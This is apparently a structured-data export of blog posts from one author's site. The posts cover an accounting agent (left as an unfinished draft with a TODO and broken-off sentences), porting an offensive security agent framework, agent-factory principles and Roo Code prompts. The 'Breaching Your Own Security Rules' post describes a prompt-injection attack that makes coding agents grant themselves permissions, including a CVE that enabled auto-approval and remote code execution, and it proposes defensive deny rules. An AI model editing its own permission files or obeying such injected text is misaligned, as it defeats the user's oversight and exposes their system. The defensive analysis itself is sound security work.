[
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/replaced-accountant-by-claude/",
    "url": "https://rxj.dev/posts/replaced-accountant-by-claude/",
    "headline": "I Replaced my Accountant by Claude",
    "name": "I Replaced my Accountant by Claude",
    "description": "Building an agentic system on top of Moneybird that processes invoices, matches bank transactions, flags what is missing and drafts the annual report. A digital twin, task-based evals, scoped API keys, and where it got dangerous.",
    "datePublished": "2026-08-30T22:40:32.169Z",
    "dateModified": "2026-08-30T22:40:32.169Z",
    "inLanguage": "en",
    "wordCount": 806,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/replaced-accountant-by-claude/"
    },
    "articleBody": "Before I get into the weeds, a bit of background. I'm by no means a professional accountant or bookkeeper. That said, I know a thing or two about accounting and bookkeeping. I did a financial oriented studies, I founded a company where I was responsible for finances for 8 years next to my other responsibilities and I still have 2 small business where I still do the bookkeeping myself. Also I have roughly 12 years of submitted annual reports and bookkeeping as a \"golden set\" to rely upon when making this agent more reliable. \n\nDisclaimer; I know a thing or two about bookkeeping myself. I was responsible for the finances for 8 years in an earlier venture; also I did a financial study. So although I'm not an account, I kind know how to navigate in this area. \n\nSo what are we building? \nMy goal was to build an agentic system that can process invoices, match invoices to bank transactions, flag any missing invoices, align the balance sheet accordingly and write a similar annual report as my accountant did for the past few years. \n\nBuilding agents is usually \n\nDigital twin\nOne of the core principles is that I wanted a digital twin of my bookkeeping, for 2 very specific reasons:\nit allows me to dry-run changes\nit allows me to swap out my actual bookkeeping software as the backend of this digital twin when I run LLM evals\n\nEvals\nThe idea is to create task based benchmarks - not a single benchmark for the entire tool. Each vendor will have different quirks, different API abstractions. Something are really easy for an LLM at one vendor, while downloading a PDF might be really hard at another. \n\nIn our example Moneybird had some quirks around downloading PDFs and inspecting these. So, that is a good candidate for a tiny benchmark. \nCreate a tiny benchmark that gages how good a model is at extracting all details from an invoice. download 30 PDFs and receipt and control and load them into a notebook. \nUpdating journal posts based on different \n\nIdeally you want to run benchmarks that you can feed initially with real live data, but are not dependent on the actual live environment. Because running benchmark against a live account would be a bad idea. \n\nI build a tiny benchmark where each case was failed if either one of the following items was incorrectly generated by the agent. \ncompany name\ncurrency\namount\nVAT %\nVAT amount\nI also tracked the amount of tokens used, the total costs, the amount of tool calls executed and time consumed. I ran the full benchmark 3 times to get an proper variance score. \n\nI used a remote sandbox environment to run the benchmark in full isolation with no way to cheat the actual scores. \n\nAll results are stored in the runs directory with a config, results.jsonl and summary.json file. The scripts in run.py and score.py before the actual scoring. \n\nJust by asking \"what do we need to do to submit the Q2 VAT submission\", it give a list of\nunprocessed bank transactions\nunprocessed purchase invoices\nunprocessed receipts\njournal entries that required attention\n\nTo reduce risk I created multiple API keys so I can isolate which agent does what. For example if an agent can update invoices I did not want it to also update the balance sheet. \n\nThe MCP server cannot link bank transactions to purchase invoices - so I tried the CLI, which is just a wrapper around the API. It is a pretty dangerous action, because X TODO - so, it's not something i would recommend doing if you do not know how agents work and what the risks are. \n\nIt actually can also download unprocessed receipts, analyse the actual downloaded PDF or images an update the purchase receipt or invoice accordingly. This is a slow process however, and it consumes lots of tokens. Be aware of this when using Fable 5. \n\nQuarterly update & VAT\n\nAnnual report\nMy accountant always asked for the same set of documents, so I also provided this to Claude when i wanted to \n\nSkill\n\nConnecting bank transactions to purchase invoices\nmoneybird-cli financialmutations linkbooking \\\n --bookingtype SalesInvoice \\\n --bookingid \\\n --price \\\n --pricebase \n\n1. first detect missing invoices or receipts by attach all bank transactions\n2. identity any unprocessed bank transactions; notify the user about each transaction, including details so the user can identify it clearly\n\nWhats next?\n\nI would not be surprised if more bookkeepers actually use this approach. The most dangerous thing I did use 1 api key for everything. I think it is more secure to use multiple api keys with different scopes for different use cases. \n\nI want to see how Haiku 4.5 will perform exactly like this\n\nI want to run this each month, so it emails me each month with any"
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/hunting-zero-days-with-pi/",
    "url": "https://rxj.dev/posts/hunting-zero-days-with-pi/",
    "headline": "Hunting Zero Days with T3MP3ST and Pi",
    "name": "Hunting Zero Days with T3MP3ST and Pi",
    "description": "T3MP3ST claims to beat XBOW on its own 104-challenge suite. I ported it to the Pi agent harness to run any model, cut the prompt bloat and start building my own evals. First run found three low-severity bugs for under a dollar.",
    "datePublished": "2026-08-24T22:40:32.169Z",
    "dateModified": "2026-08-24T22:40:32.169Z",
    "inLanguage": "en",
    "wordCount": 663,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/hunting-zero-days-with-pi/"
    },
    "articleBody": "Pliny Elders along with BT6 released T3MP3ST; a offensive security framework that lets you turns Claude Code or Codex in a skilled red teaming offensive security agent. BT6, the organization behind self reported T3MP3ST outcompetes XBOW (which is valued at $1 billion) in XBOW's own 104-challenge suite. This is a huge deal and I'm surprised this does not get more attention.\n\nPorting\nWhy porting something that already proved it worked? First of all because I did not get it to run it on my machine - I ran into various bugs I needed to resolve. Secondly, the models are limited. I want to use GLM 5.3, while currently out of the box T3MP3ST only supports GLM 4.8.\n\nSecondly in my humble opinion I believe the tool is doing too much. It has an API, a MCP server, a web interface. Not only from a interface perspective also, on prompt-level there is too much bloat. When using the Codex or Claude Code as the backbone of the process, T3MP3ST uses a prompt-based contract to simulate a tool call schema on top of Claude/Codex' own tool schema. This results in lots of wasted tokens and bloating the context window unnecesarily. \n\nLast but not least, I wanted to truely grasp the architecture and components they created to make this work. I mean, if you beat unicorn status startup it is definitly worth studying. \n\nPorting it was relative straight forward once you understand how the agents are defined and configured and how they communicate. All I needed was to derive a specification from the existing implementation and let another agent implement the spec, but now based on the Pi harness. \n\nPi\nI believe conceptually most agents are just folders, with a basic agent configuration, SKILLS, MCP configurations and a AGENT.md file. This is easy to reason about for anybody. \n\nConceptually, what I want is a basic programmatic interface that can be controlled by another agent or a basic TUI. Pi has has abstracted and decoupled so many components away that you can you fully change the core ReAct loopt, without touching the TUI itself, or breaking its extension system or the AI/LLM adapters. In my opinion it comes closest to what an agent framework should be built like. You get a lot of functionality for free, yet you swap out any component you do not like. I trully believe much more agents should be build like on top of the Pi ecosystem. \n\nThe benefits of this approach are plenty fold\nit's easier to reason about\neasier to change - although this can also be a trap in itself\nit unlocks not only using Claude Code with your subscription but you can now use ANY model or provider you want. \nyou can use it programmatically from the command line, or even connect it a desktop application using the Agent Client Protocol which Pi supports out of the box. \ndeployment to a remote microVM or container is just a single install away\n\nBenchmarking\nThe main challenge with porting to a completely different architecture is that you lose their entire track record of evals and benchmarks. I do not have the funds to run a 104 challenge suite, so I started small and will built up till I can properly test the entire suite and publish a benchmark. \n\nResults\nIt's still an LLM that is generating vulnerabilities; so you definitly will get a false positives as well as false negatives. During recon for example any prioritized vulnerability should be taken with a grain of salt, until its validated to be a real vulnerability.\n\nHowever, in a single run I found 3 low severity vulnerability. It costs me $0,82 on GLM 5.2 tokens. Unfortunatelly the guardrails for the Anthropic models are too strict.\n\nWhile benchmarking is work in progress, the first port has been a great succes. The first results are promising. Next up is building the evals and climbin the hill to reach benchmarks scores beyond what XBOW self reports."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/agent-factory-principles/",
    "url": "https://rxj.dev/posts/agent-factory-principles/",
    "headline": "Principles of Agent Factories",
    "name": "Principles of Agent Factories",
    "description": "Agent factories are a set of principles, not a platform. What it takes to run a fleet of AI agents reliably - orchestration, isolation, observability, human intervention points, and benchmarks built from real cases.",
    "datePublished": "2026-08-13T00:00:00.000Z",
    "dateModified": "2026-08-13T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 1486,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/agent-factory-principles/"
    },
    "articleBody": "Software used to be a strategic asset. It isn't anymore. Code is cheap to produce, and getting cheaper by the month. Software is close to being a commodity. \n\nAI and AI agents are solely responsible for this. And the next step in this AI revolution is already here: agent factories, or software factories. \n\nFactory raised $150m at a $1.5 billion valuation. Mastra launched an AI software factory. Gastown reached 17k GitHub stars (as of the date of publishing). Google launched Antigravity, an AI-native IDE built to manage agents instead of code. And smaller tools like Agent Orchestrator appear by the week.\n\nAn agent factory is nothing more than a whole fleet of agents that work towards a single goal (often implementing a new feature in a software product), without much babysitting. A single developer is not interacting with a single agent harness anymore; they're now managing a whole fleet, sometimes up to 100 agents, at the same time. Factories are going to help you build, run and scale hundreds or thousands of these AI agents. \n\nIt's not you spinning up an agent anymore; it's another agent that does that. And it does this at a scale unmanageable by a person without a solid system. \n\nThe irony is that building an agent factory in the technical sense is not the hard part; you can use AI agents for this. The hard part is building a reliable, cost-effective agent that produces consistent, quality output and is easy to upgrade once newer models are released. \n\nHow?\nHow do you create a factory? An agent factory is a set of principles, not a platform or tool you buy. No single architecture is going to win; the simpler the architecture, the more likely it is to succeed.\n\nIn the most lightweight form I see directories with preconfigured agents, including skills, MCP servers, Dockerfiles and AGENT.md for each role. Maybe even with CLIs and environment variables provisioned. So an agent configuration is just a plain folder on a filesystem. \n\nTo make agents act responsibly and predictably, and keep them easy to debug and improve, we need a few principles in place. \n\nOrchestration\nIf you want to run a whole fleet of agents, the first problem you run into is that managing all these agents by yourself is going to be challenging and mentally exhausting. This is where orchestration comes in. Orchestration is like the HR department of your factory. \n\nIn the non-AI world this is more or less a solved problem — we have Kubernetes and Temporal. The job description is clear enough: the orchestrator spawns agents, checks whether they are still working on their task, and spawns a subagent when an agent needs to do more in-depth research. \n\nIf you have agents that can spawn other agents, you need a few rules they live by otherwise you end up with low quality output and waisting tokens on irrelevant or outdated tasks. \n\nThe simplest model is a single orchestrator spawns agents, the agents deliver the work, and a merge queue handles merging data, code and documents back into the main repository; this can be a codebase, database, knowledge base or wiki. \n\nOrchestration is an elevated privilege; not every agent should be able to spawn any other agent. Some agents should just be workers; others can spawn very specific agents in specific scenarios. The main orchestrator agent, as my personal chief of staff essentially, exist solely to spawn other agents.\n\nConcurrency\nThe point of an agent factory is not cost savings; it's speed. \n\nIf you run agents in sequence you are not gaining much speed. We gain the most by running agents in parallel. But parallelism has a cost: concurrently running agents are not aware of what other agents are doing at the same moment, so you risk conflicts.\n\nThe fix is not to make agents coordinate with each other; it's to make sure they do not have to. Give each agent its own copy of the world and merge the results at the end. This is why isolation, more on that later, is one of the other core principles.\n\nObservability\nThe factory needs to produce more value than it costs. Spinning up 1,000 agents and burning through tokens is the easiest thing in the world. You want to see how many tokens your factory is burning as a whole, per task, per output, or per role.\n\nTherefor you need full observability of each agent session. Without observability, there's no cost control. But more importantly: without observability there's also no optimization path. You need to be able to read through the transcripts of each session to be able to evaluate how to improve each agent. \n\nIsolation\nEach agent needs an isolated environment, with no real time dependencies like a centralized database or issue management system attached to it. It removes any tight coupling with centralized memory management - yet it gives you the ability to give the agent a rich context it can utilize at runtime. \n\nThis has a few benefits:\n1. Evaluating your agent is easier to do since you can replicate the EXACT same environment. If you let an agent query an external knowledge base that other agents can also write to - you \n2. You improve the threat model of each individual agent dramatically since, you limit the risk on prompt injections dramatically.\n\nAdditionally, every agent should be sandboxed by default in my opinion. Not sandboxing an agent means you are just rolling the dice and hoping you do not get compromised through a prompt injection. It doesn't matter if you use commercial services like E2B, Exe, Daytona, or set up an open-source solution like Docker Sandbox or OpenSandbox. Any one of these solutions will do. \n\nThere is no standard yet for managing memory and context in agent factories. What is clear: any memory or context your agent can reach has a direct impact on the quality of its output, so curate it with care.\n\nHuman in the loop\nEvery factory should be able to run in two modes: HITL mode, where the human has a few pre-defined intervention points, like specification and review, and Auto mode, where the factory runs fully autonomously. \n\nFor HITL mode to work, each agent needs a channel to reach a human; whether that's Slack, email, Telegram or something else does not matter. The easiest way to get this is the hooks API most coding harnesses ship with, but you can roll your own if you like. \n\nThe catch with human intervention is that approval can take hours, or worst case days, to arrive. That is a long window for timeouts, crashes and other agent failures. So it should be possible to pause an agent session while it sits idle and resume it later, with the guarantee that it picks up exactly where it left off. \n\nBenchmarking & evals\nIt should not matter whether you use Claude Code, Codex, or a framework like LangChain to build your agents, or whether you roll your own harness. The principles here apply to all of them. This matters more than it seems: models leapfrog each other every few months, and a factory welded to one harness ages with it.\n\nBut if the harness and even the provider do not matter, then what does matter is how you evaluate your agents over time. This is where evals and benchmarking come in. You need a semi-scientific method to gauge whether a newly released model actually suits your agent better, or whether you should stick with your current configuration. \n\nThe hardest part about the benchmark is that it should reflect actual quality AND should be expressible as a number. Collect real cases for your benchmark, not generated test cases. Pull 20-50 actual cases. Especially include the hard edge cases, not just the simple and plain ones. Decide what counts as a pass or fail. \n\nDo not treat the benchmark as a strict rule. You probably do not have the resources to run it thousands of times and get significant results. \n\n---\n\nThe durable part of a factory is not the agents; it is everything around them. Your orchestration rules, your curated memory, the benchmarks you have built, your isolation and access model. None of that can be easily vibe coded. And it compounds: every session you evaluate, every intervention point you tune, every agent you develop by hand makes your factory a little better at producing quality output.\n\nThat's also why I don't think a single platform wins here. A platform can sell you the machinery, not the operating discipline. The principles are the factory.\n\nSo don't start by spinning up a hundred agents. Start with one. Develop it by hand, push it to the max until you feel its limitations. Build a tiny benchmark from twenty real cases. Wrap it in orchestration, observability and isolation. Then add the next one.\n\nA factory that scales bad agents just produces garbage faster."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/software-is-a-service/",
    "url": "https://rxj.dev/posts/software-is-a-service/",
    "headline": "Software is a Service",
    "name": "Software is a Service",
    "description": "AI made generating code cheap. The value moves to the people who keep software secure and running. SaaS becomes SiaS.",
    "datePublished": "2026-08-04T00:00:00.000Z",
    "dateModified": "2026-08-04T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 305,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/software-is-a-service/"
    },
    "articleBody": "I've been thinking a lot about software and its future. The last few months AI got really good. So good that, as a human, you no longer have to be at the wheel 'writing' software.\"\n\nPeople are already acting on this. Some vibe code entire enterprise-level products, like Vanta. Others want to replace Oracle, Salesforce and SAP. According to Retool is 35% of teams already replacing SaaS vendors with custom in-house (vibe) coded solutions.\n\nYou still need human judgement. Someone has to shape the architecture and match the requirements, which are usually implicit, to the business objectives. So most businesses with a software component will still need engineers, just far fewer than today.\n\nThose engineers will look more like car mechanics. Something breaks, you hire someone who can fix it. Businesses will contract an engineer to maintain a specific piece of software. Generating software is not the moat anymore. Making sure your business can rely on it, that the code is secure and keeps working, still takes a human.\n\nAs a business you still want speed and reliability. What changes is how you decide what the product should do. The end user can take a much larger role in that. AI closes the gap between end user, product owner and software engineer.\n\nThat gap is what makes SaaS wasteful today. Most customers use about 20% of a product's features, pay for the other 80%, and swallow a UX built for someone else's persona. With AI they can have exactly the 20% they need, built and maintained for them.\n\nSo selling software as the end product stops being competitive. The product is the team that keeps the software running. Software is shifting from a product industry to a service industry.\n\nInstead of Software as a Service, I think the future is Software is a Service: SiaS."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/coding-agents-writing-own-rules/",
    "url": "https://rxj.dev/posts/coding-agents-writing-own-rules/",
    "headline": "Breaching Your Own Security Rules",
    "name": "Breaching Your Own Security Rules",
    "description": "Coding agents manage their own permission files. That's a fundamental security architecture flaw, and the CVEs prove it.",
    "datePublished": "2026-04-15T00:00:00.000Z",
    "dateModified": "2026-04-15T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 865,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/coding-agents-writing-own-rules/"
    },
    "articleBody": "Every major coding agent stores its permission model in a configuration file that the agent process itself can write to. In other words: the agent can grant itself new permissions. That single design decision violates forty years of access control theory, and it has already produced critical vulnerabilities in Claude Code, GitHub Copilot, Cursor, and OpenAI Codex CLI.\n\nThis is an architectural flaw ignored by the industry.\n\nThe Configuration Security Conflict\n\nLets use the most widely agent harness as an example: Claude Code. Claude Code uses multiple config files, among others .claude/settings.json for shared team settings and .claude/settings.local.json for personal preferences. Each configuration file can configure hooks, allow/deny lists for tool calls, MCP configurations and more. \n\nClaude Code uses a deny-first evaluation model. Deny rules in settings.json take precedence over allow rules in settings.local.json, so a team that proactively commits deny rules can constrain what the agent grants itself. But this only works when settings.json exists and contains deny rules. In the default state, and the state most developers operate in, there is no settings.json. So, no deny rules. The agent can expand its own permissions through settings.local.json.\n\nThe problem is that the agent process itself has write access to its own security configuration. The entity being governed writes the rules that govern it.\n\nWhy This Breaks Every Access Control Model\n\nForty years of security research all converge on the same principle: the entity being constrained must not have write access to the mechanism of constraint. When an agent writes allow rules to its own permission file and later checks that same file to decide what's permitted, the process enforcing the rules is the same process that wrote them. There is no separation of privilege, no integrity guarantee, and no least privilege principle applied.\n\nPrompt injections is the catalist here. Using prompt injection adversaries can expand the permissions through for example a malicious file in a cloned repo, a crafted issue body, a dependency README, or even a web search. \n\nThe CVE Record Confirms the Theory\n\nEvery major coding agent gives its process filesystem access broad enough to reach its own trust boundary files. The CVE record shows what happens when it does.\n\nGitHub Copilot (CVE-2025-53773) allowed its agent to write to .vscode/settings.json without user approval. An attacker used prompt injection to inject \"chat.tools.autoApprove\": true into the file, enabling \"YOLO mode\" and disabling all confirmation prompts. From that point, every tool call executed silently. Full remote code execution. \n\nCursor (CVE-2025-54135), OpenAI Codex CLI (CVE-2025-61260) and Claude Code (CVE-2026-25725) where vulnerable to propmt injections updating the the existing agent configurations through CVE's. But even without CVE's it should be technically gauranteed that an agent can never update it's own configuration files. \n\nThe \"Systems Security Foundations for Agentic Computing\" paper from Google documented the same pattern in Amp AI. A prompt injection caused the agent to alter its settings.json allowlist. Their recommendation is explicit: \"Such systems should enforce immutability on security-critical configuration files so the agent cannot modify its own execution environment.\"\n\nArchitectural flawed\n\nThe reason this problem persists is that it's genuinely hard to solve without breaking the user experience.\n\nCurrently the configuration and security primitives are opt-in. There is only a real security boundary when teams proactively commit deny rules. The default state, is no deny rules at all. \n\nAt minimum we need a architectural different solution. We need to seperate critical security configurations, the ones that never can altered, from configurations they help the developer to fight approval fatigue. \n\nIf this seperation is implemented we can start using sensible defaults to settings.json that prevent the agent from modifying its own configuration files, like:\n\n{\n \"permissions\": {\n \"deny\": [\n \"Edit(.claude/settings.json)\",\n \"Edit(.claude/settings.local.json)\",\n \"Write(.claude/settings.json)\",\n \"Write(.claude/settings.local.json)\"\n ]\n }\n}\n\nAnother solution can be using a .claudeignore that includes .claude/settings to prevent the agent from reading the configuration files at all, this blocks the straightforward attack path. \n\nBut it's still application-level enforcement. The Claude Code process is what checks these deny rules. A sufficiently creative exploit can bypass application-level checks entirely, as the CVEs above demonstrate. \n\nWhat you really need is OS-level gaurantee, that prevents agents from writing to their own security configuration. Either because they cannot read the file in the first place or because writes are on kernel level blocked. It doesn't matter whether the write attempt comes from the Edit tool, a bash subprocess, a Python script, or a case-manipulated path. The developer retains full access through their normal editor. Only the agent process tree is constrained.\n\nThese are not exotic requirements. They are the standard mechanisms that operating systems have used for decades to prevent processes from escalating their own privileges. We already know how to build this. We just haven't applied it to coding agents yet.\n\nThese agents are getting more capable. They're running longer sessions with less human oversight. And every one of them stores its trust boundary in a file it can reach.\n\nThe window between \"agents are useful enough to deploy widely\" and \"agents are powerful enough to do real damage when compromised\" is closing. The configuration integrity problem isn't a theoretical concern for future architectures. It's a concrete vulnerability in production systems today.\n\nCoding agents shouldn't write their own rules."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/why-roo-code-is-better-then-cursor/",
    "url": "https://rxj.dev/posts/why-roo-code-is-better-then-cursor/",
    "headline": "How I use Roo Code to go beyond Cursor",
    "name": "How I use Roo Code to go beyond Cursor",
    "description": "Roo Code modes pair role-specific instructions with the model of your choice. How I set up tech lead, backend and frontend modes with Gemini Flash to get most of what Cursor gives me for a fraction of the cost.",
    "datePublished": "2025-03-14T00:00:00.000Z",
    "dateModified": "2025-03-14T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 854,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/why-roo-code-is-better-then-cursor/"
    },
    "articleBody": "I've been using Cursor since the early days. But I wanted the same bang, just for less buck. Enter Roo Code. \n\nModes & rules\nLike .cursorrules, in the Roo Code world we have .clinerules- (Roo Code is a fork of Cline, hence the prefix). Modes are really where Roo Code shines. A mode lets you predefine a bunch of rules or instructions, bundled with a LLM model. Think about debugging, frontend, backend, writing tests, you name it. The great part is, you can give it either global or project specific instructions.\n\nLLMs struggle (even Claude 3.7) with my quirky setup: Elixir Liveview with Liveview. HTML attributes are difficult for LLMs to distinguish from one another - and a lot of the tooling is using these. Scroll to the frontend mode I work around this below. \n\nI've set up a system with a tech lead, frontend, backend and dedicated liveview modes. These Modes - combined with Gemini - allowed me to save massively on my spendings. The really great catch is: we can use Gemini 2.0 Flash - for free! Alright, Claude is a much better model, yet Gemini gets a lot of the job done pretty well. \n\nWorkflow\nFor medium to large sized features I always start using the Techlead mode to write a product requirements document. This mode is encouraged to do in-depth research on the existing codebase. \n\nIn most use cases, I spent more time (and tokens) building the Product Requirements document, than on the actual implementation.\n\nBelow you can find some modes I'm using almost every day and how I use them:\n\nTech lead mode \nYou are an expert Tech Lead developer. Your goal is to generate a technical product requirement document with technical tasks that a developer can implement. The document should outline how the users' request can be best integrated into the existing codebase. \n\nRULES\nALWAYS research the codebase in depth to identify how users' requests can best be integrated into the existing codebase. \nYou may also ask the user clarifying questions to get a better understanding of the task. \nMake sure the technical tasks are well defined and are connected to each other. \nThe instructions should be written in Markdown format, with a list of technical tasks with checkboxes. \nInclude existing code snippets and filenames when needed to integrate with specific parts of the existing codebase. Do this per task if relevant. \nYOU NEVER edit or write code yourself. Your goal is to spec out the task given by the user into a document, not to write code.\nWrite all specs to a single markdown file in the /prd folder.\n\nI use the Tech lead mode using Gemini, Claude 3.7 and sometimes even Deepseek. The main goal is to generate a document with specs to implement medium and large sized features. I will re-iterate over the document multiple times using different models. Usually I start with Gemini. If the quality is below par, I let Claude improve the document using specific instructions. Most of the tokens (and time) I spent, I spent on writing a great PRD. \n\nBackend mode (using Gemini 2.0 Flash)\nYou are a highly skilled Elixir Phoenix and Elixir Phoenix Liveview backend developer. \n\nRULES\nNEVER write any client side related to Alpine.js or Tailwind. You are only allowed to write Elixir Liveview backend logic which can be rendered inside HEEX templates.\n\nCode style\nWrite concise, technical Elixir code with accurate examples.\nUse functional programming and pattern matching whenever possible.\nPrefer iteration and modularization over code duplication.\nWrite functions that do one thing well\nDo not nest logic more than 3 levels deep\n\nWhen creating a new feature, follow these steps\nAdd @spec tags to the test to indicate the expected input and output.\nAdd @doc tags to explain the implementation briefly. Add input and output examples to the docs. \n\nI only use Claude if complexity of the task is relatively high. If the PRD document already contains lots of detail and handles lots of the quirky things regarding the implementation, I use Gemini. In 8 out of 10 cases this is sufficient. \n\nLast but not least, this example will really show you how you can customise this to generate better LLM responses.\n\nFrontend mode (using Gemini 2.0 Flash)\nStack\nElixir Phoenix Liveview\nThe UI component library is built using Alpine.js and Tailwind.css\n\nRules\nNEVER write any backend related Elixir code, other than Liveview components or Liveview views. \n\nAlpine\nONLY use Alpine.js to enhance client side interactivity\nAny state that is sent from the Liveview/server, should be handled in Liveview\nDO NEVER use any Alpine.js attributes name that have a \":\" prefix, as this is unsupported in Liveview. So, DO NOT use \":class\" \n\nHEEX HTML components & Alpine\nBe careful when using Alpine.js attributes in Phoenix HTML components like or . Double check if these components pass these Alpine.js attributes to the child elements. \n\nThe few very specific instructions are essential here, and they save a lot of LLM round trips (and money).\n\nI've you have more tips, how to either save money or to get more out of Roo Code, hit me up at @ronxjansen"
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/npm-run-hack-supply-chain-attack-journey/",
    "url": "https://rxj.dev/posts/npm-run-hack-supply-chain-attack-journey/",
    "headline": "Npm Run Hack:Me - A Supply Chain Attack Journey",
    "name": "Npm Run Hack:Me - A Supply Chain Attack Journey",
    "description": "I thought I was being recruited. Instead, I gave hackers access to my system by running a simple 'npm run start'. Discover how the tech details of this supply chain attack and how to protect yourself.",
    "datePublished": "2025-03-10T00:00:00.000Z",
    "dateModified": "2025-03-10T00:00:00.000Z",
    "inLanguage": "en",
    "wordCount": 2095,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
